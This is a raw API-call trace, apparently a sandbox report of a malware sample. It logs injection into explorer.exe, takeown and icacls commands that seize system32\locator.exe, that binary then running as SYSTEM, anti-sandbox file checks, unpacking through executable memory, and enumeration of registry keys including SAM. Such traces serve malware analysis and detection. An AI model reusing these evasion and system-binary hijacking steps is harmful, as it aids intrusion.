[0185.149] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x8d7ee8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0185.149] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x8d7f30 [0185.149] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d7ee8) returned 1 [0185.149] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24e8c8) returned 1 [0185.149] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x8d7ee8 [0185.149] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x8d7f78 [0185.149] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x8d7fc0 [0185.149] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x8d8008 [0185.149] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x8d8050 [0185.149] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x8d8098 [0185.149] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x5000) returned 0x8d2850 [0185.149] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x8d80e0 [0185.149] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d80e0) returned 1 [0185.149] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0185.202] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d2850) returned 1 [0185.202] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x7285a8, lpbSaclPresent=0x192fc20, pSacl=0x192fc74, lpbSaclDefaulted=0x192fc20 | out: lpbSaclPresent=0x192fc20, pSacl=0x192fc74, lpbSaclDefaulted=0x192fc20) returned 1 [0185.202] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x8d80e0 [0185.202] CreateEventA (lpEventAttributes=0x192fc68, bManualReset=1, bInitialState=0, lpName="") returned 0x110 [0185.202] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d80e0) returned 1 [0185.202] GetLastError () returned 0x0 [0185.202] LocalFree (hMem=0x7285a8) returned 0x0 [0185.202] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x8d80e0 [0185.202] CryptAcquireContextW (in: phProv=0x192fc58, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x192fc58*=0x7486c0) returned 1 [0185.203] CryptCreateHash (in: hProv=0x7486c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x192fc58 | out: phHash=0x192fc58) returned 1 [0185.203] CryptHashData (hHash=0x72fdc0, pbData=0x8d7f78, dwDataLen=0xb, dwFlags=0x0) returned 1 [0185.203] CryptGetHashParam (in: hHash=0x72fdc0, dwParam=0x4, pbData=0x192fc5c, pdwDataLen=0x192fc68, dwFlags=0x0 | out: pbData=0x192fc5c, pdwDataLen=0x192fc68) returned 1 [0185.203] CryptGetHashParam (in: hHash=0x72fdc0, dwParam=0x2, pbData=0x8d80e0, pdwDataLen=0x192fc5c, dwFlags=0x0 | out: pbData=0x8d80e0, pdwDataLen=0x192fc5c) returned 1 [0185.203] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x8d8128 [0185.203] CryptDestroyHash (hHash=0x72fdc0) returned 1 [0185.203] CryptReleaseContext (hProv=0x7486c0, dwFlags=0x0) returned 1 [0185.203] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d80e0) returned 1 [0185.203] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x8d80e0 [0185.203] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x8d8170 [0185.203] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d80e0) returned 1 [0185.203] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x8d80e0 [0185.203] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d80e0) returned 1 [0185.203] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d8170) returned 1 [0185.203] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d8128) returned 1 [0185.203] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x8d8128 [0185.203] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x128 [0185.203] GetLastError () returned 0x0 [0185.203] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x8d8170 [0185.203] CryptAcquireContextW (in: phProv=0x192fc58, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x192fc58*=0x7486c0) returned 1 [0185.204] CryptCreateHash (in: hProv=0x7486c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x192fc58 | out: phHash=0x192fc58) returned 1 [0185.204] CryptHashData (hHash=0x72fdc0, pbData=0x8d7f78, dwDataLen=0xb, dwFlags=0x0) returned 1 [0185.204] CryptGetHashParam (in: hHash=0x72fdc0, dwParam=0x4, pbData=0x192fc5c, pdwDataLen=0x192fc68, dwFlags=0x0 | out: pbData=0x192fc5c, pdwDataLen=0x192fc68) returned 1 [0185.204] CryptGetHashParam (in: hHash=0x72fdc0, dwParam=0x2, pbData=0x8d8170, pdwDataLen=0x192fc5c, dwFlags=0x0 | out: pbData=0x8d8170, pdwDataLen=0x192fc5c) returned 1 [0185.204] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x8d80e0 [0185.204] CryptDestroyHash (hHash=0x72fdc0) returned 1 [0185.204] CryptReleaseContext (hProv=0x7486c0, dwFlags=0x0) returned 1 [0185.204] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d8170) returned 1 [0185.204] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x8d8170 [0185.204] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x8d81b8 [0185.204] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d8170) returned 1 [0185.204] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x8d8170 [0185.204] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d8170) returned 1 [0185.204] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d81b8) returned 1 [0185.204] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d80e0) returned 1 [0185.204] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x8d80e0 [0185.205] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x8d81b8 [0185.205] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0185.205] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d81b8) returned 1 [0185.205] GetLastError () returned 0x5 [0185.205] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x8d81b8 [0185.205] OpenMutexA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0185.205] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d81b8) returned 1 [0185.205] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x8d81b8 [0185.205] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x12c [0185.205] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x8d81b8) returned 1 [0185.205] SetEvent (hEvent=0x128) returned 1 [0185.205] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) Thread: id = 1057 os_tid = 0x940 Process: id = "79" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x7f3b000" os_pid = "0x1b4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\Explorer.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 803 os_tid = 0x304 Thread: id = 804 os_tid = 0x6f8 Thread: id = 805 os_tid = 0x6d0 Thread: id = 806 os_tid = 0x6c8 Thread: id = 807 os_tid = 0x6c0 Thread: id = 808 os_tid = 0x6b4 Thread: id = 809 os_tid = 0x69c Thread: id = 810 os_tid = 0x690 Thread: id = 811 os_tid = 0x674 Thread: id = 812 os_tid = 0x5cc Thread: id = 813 os_tid = 0x5b4 Thread: id = 814 os_tid = 0x5a8 Thread: id = 815 os_tid = 0x5a4 Thread: id = 816 os_tid = 0x5a0 Thread: id = 817 os_tid = 0x598 Thread: id = 818 os_tid = 0x558 Thread: id = 819 os_tid = 0x504 Thread: id = 820 os_tid = 0x4e8 Thread: id = 821 os_tid = 0x4bc Thread: id = 822 os_tid = 0x4b8 Thread: id = 823 os_tid = 0x4b4 Thread: id = 824 os_tid = 0x4b0 Thread: id = 825 os_tid = 0x4a4 Thread: id = 826 os_tid = 0x470 Thread: id = 827 os_tid = 0x46c Thread: id = 828 os_tid = 0x468 Thread: id = 829 os_tid = 0x454 Thread: id = 830 os_tid = 0x378 Thread: id = 831 os_tid = 0x350 Thread: id = 832 os_tid = 0x344 Thread: id = 833 os_tid = 0x2e0 Thread: id = 834 os_tid = 0x288 Thread: id = 835 os_tid = 0x268 Thread: id = 836 os_tid = 0x1f4 Thread: id = 837 os_tid = 0x1f0 Thread: id = 1065 os_tid = 0x974 Process: id = "80" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x45f46000" os_pid = "0x4fc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\system32\\locator.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 838 os_tid = 0x7ac Thread: id = 839 os_tid = 0x594 Process: id = "81" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x4524b000" os_pid = "0x318" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\system32\\locator.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 840 os_tid = 0x55c Process: id = "82" image_name = "locator.exe" filename = "c:\\windows\\system32\\locator.exe" page_root = "0x438b8000" os_pid = "0x5e8" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "C:\\Windows\\system32\\locator.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 841 os_tid = 0x6b8 [0187.228] GetTimeZoneInformation (in: lpTimeZoneInformation=0x2df850 | out: lpTimeZoneInformation=0x2df850) returned 0x2 [0187.230] GetCurrentProcess () returned 0xffffffff [0187.230] GetExitCodeProcess (in: hProcess=0xffffffff, lpExitCode=0x2df83c | out: lpExitCode=0x2df83c*=0x103) returned 1 [0187.231] GetForegroundWindow () returned 0x0 [0187.231] GetCaretBlinkTime () returned 0x1f4 [0187.231] GetFileType (hFile=0xf710cd) returned 0x0 [0187.231] GetConsoleProcessList (in: lpdwProcessList=0x2df8fc, dwProcessCount=0x1 | out: lpdwProcessList=0x2df8fc) returned 0x0 [0187.231] VarCyFromUI8 (in: ui64In=0xdf39010a, pcyOut=0x2df808 | out: pcyOut=0x2df808) returned 0x0 [0187.232] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0187.232] GetCommState (in: hFile=0x3b268c, lpDCB=0x2df670 | out: lpDCB=0x2df670) returned 0 [0187.232] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x2df66c, pmr=0x2df658, cht=0x353) returned 0 [0187.232] CloseClipboard () returned 0 [0187.233] CoUninitialize () [0187.233] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0187.233] ReleaseMutex (hMutex=0xa0) returned 0 [0187.233] CloseHandle (hObject=0xa0) returned 1 [0187.233] IsHungAppWindow (hwnd=0xbb220d) returned 0 [0187.233] GetCommState (in: hFile=0x3b268c, lpDCB=0x2df670 | out: lpDCB=0x2df670) returned 0 [0187.233] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x2df66c, pmr=0x2df658, cht=0x353) returned 0 [0187.233] CloseClipboard () returned 0 [0187.233] CoUninitialize () [0187.233] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0187.233] ReleaseMutex (hMutex=0xa0) returned 0 [0187.233] CloseHandle (hObject=0xa0) returned 1 [0187.233] GetLocalTime (in: lpSystemTime=0x2df90c | out: lpSystemTime=0x2df90c*(wYear=0x7e3, wMonth=0xb, wDayOfWeek=0x5, wDay=0x8, wHour=0x5, wMinute=0x17, wSecond=0x3b, wMilliseconds=0x2dd)) [0187.234] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x2df38c | out: ProcedureAddress=0x2df38c*=0x77011856) returned 0x0 [0187.234] VirtualAlloc (lpAddress=0x0, dwSize=0x16000, flAllocationType=0x1000, flProtect=0x4) returned 0x300000 [0187.420] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x2df38c | out: ProcedureAddress=0x2df38c*=0x77011856) returned 0x0 [0187.420] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x40) returned 0x60000 [0187.421] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x2df424 | out: ProcedureAddress=0x2df424*=0x770149d7) returned 0x0 [0187.421] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x2df424 | out: ProcedureAddress=0x2df424*=0x77011222) returned 0x0 [0187.421] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x2df424 | out: ProcedureAddress=0x2df424*=0x77011856) returned 0x0 [0187.422] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x2df424 | out: ProcedureAddress=0x2df424*=0x7701435f) returned 0x0 [0187.422] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0187.422] GetProcAddress (hModule=0x77000000, lpProcName="FlsFree") returned 0x7701359f [0187.422] GetProcAddress (hModule=0x77000000, lpProcName="SetUnhandledExceptionFilter") returned 0x770187c9 [0187.422] VirtualProtect (in: lpAddress=0xfe0000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x2df4d8 | out: lpflOldProtect=0x2df4d8*=0x2) returned 1 [0187.474] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x320000 [0187.477] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0187.477] GetProcAddress (hModule=0x77000000, lpProcName="CreateFileW") returned 0x77013f5c [0187.478] GetProcAddress (hModule=0x77000000, lpProcName="ExitProcess") returned 0x77017a10 [0187.478] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0187.872] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0187.886] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x5f0000 [0187.896] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x8, Size=0x104) returned 0x5f07d0 [0187.896] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x8, Size=0x80) returned 0x5f08e0 [0187.896] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x8, Size=0x80) returned 0x5f0968 [0187.896] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x8, Size=0x80) returned 0x5f09f0 [0187.896] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x8, Size=0x80) returned 0x5f0a78 [0187.896] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x8, Size=0x80) returned 0x5f0b00 [0187.896] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x8, Size=0x80) returned 0x5f0b88 [0187.896] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x8, Size=0x80) returned 0x5f0c10 [0187.896] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x8, Size=0x80) returned 0x5f0c98 [0187.896] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x8, Size=0x80) returned 0x5f0d20 [0187.896] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x8, Size=0x80) returned 0x5f0da8 [0187.896] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x8, Size=0x80) returned 0x5f0e30 [0187.896] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x8, Size=0x80) returned 0x5f0eb8 [0187.896] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x8, Size=0x80) returned 0x5f0f40 [0187.896] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x8, Size=0x80) returned 0x5f0fc8 [0187.896] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x8, Size=0x80) returned 0x5f1050 [0187.896] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x8, Size=0x80) returned 0x5f10d8 [0187.897] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x8, Size=0x400) returned 0x5f1160 [0187.897] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x1190000 [0187.897] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x11907d0 [0187.897] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x1190858 [0187.897] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x11908e0 [0187.897] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x184) returned 0x1190968 [0187.897] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190af8 [0187.897] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190b40 [0187.897] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190b88 [0187.897] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190bd0 [0187.897] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190c18 [0187.897] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190c60 [0187.897] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190ca8 [0187.897] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190cf0 [0187.897] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190d38 [0187.897] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190d80 [0187.897] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190dc8 [0187.897] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190e10 [0187.897] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190e58 [0187.897] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190ea0 [0187.897] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190ee8 [0187.897] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190f30 [0187.897] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2df018, nSize=0x1000 | out: lpFilename="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe")) returned 0x1f [0187.913] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190f78 [0187.914] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x2c) returned 0x119b828 [0187.921] GetVersionExW (in: lpVersionInformation=0x2df638*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x2df638*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0187.921] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x2df620 | out: Wow64Process=0x2df620) returned 1 [0187.921] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x2df5fc | out: TokenHandle=0x2df5fc*=0xa0) returned 1 [0187.921] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2df5f8 | out: TokenInformation=0x0, ReturnLength=0x2df5f8) returned 0 [0187.921] GetLastError () returned 0x7a [0187.921] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119b860 [0187.921] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x119b860, TokenInformationLength=0x58, ReturnLength=0x2df5f8 | out: TokenInformation=0x119b860, ReturnLength=0x2df5f8) returned 1 [0187.921] AllocateAndInitializeSid (in: pIdentifierAuthority=0x2df608, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x2df600 | out: pSid=0x2df600*=0x632830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0187.922] EqualSid (pSid1=0x632830*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x119b884*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0187.922] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b860) returned 1 [0187.922] NtClose (Handle=0xa0) returned 0x0 [0187.922] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119b860 [0187.923] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119b8a8 [0187.924] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x280) returned 0x119b930 [0187.924] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0187.934] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x119b930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0187.934] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.934] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bc58 [0187.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x119bc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0187.934] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bca0 [0187.934] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc58) returned 1 [0187.934] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bca0) returned 1 [0187.934] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.934] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x119b930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0187.934] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.934] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0187.935] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bca0 [0187.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x119bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0187.935] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bc58 [0187.935] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bca0) returned 1 [0187.935] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc58) returned 1 [0187.935] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.935] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x119b930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0187.935] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.935] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 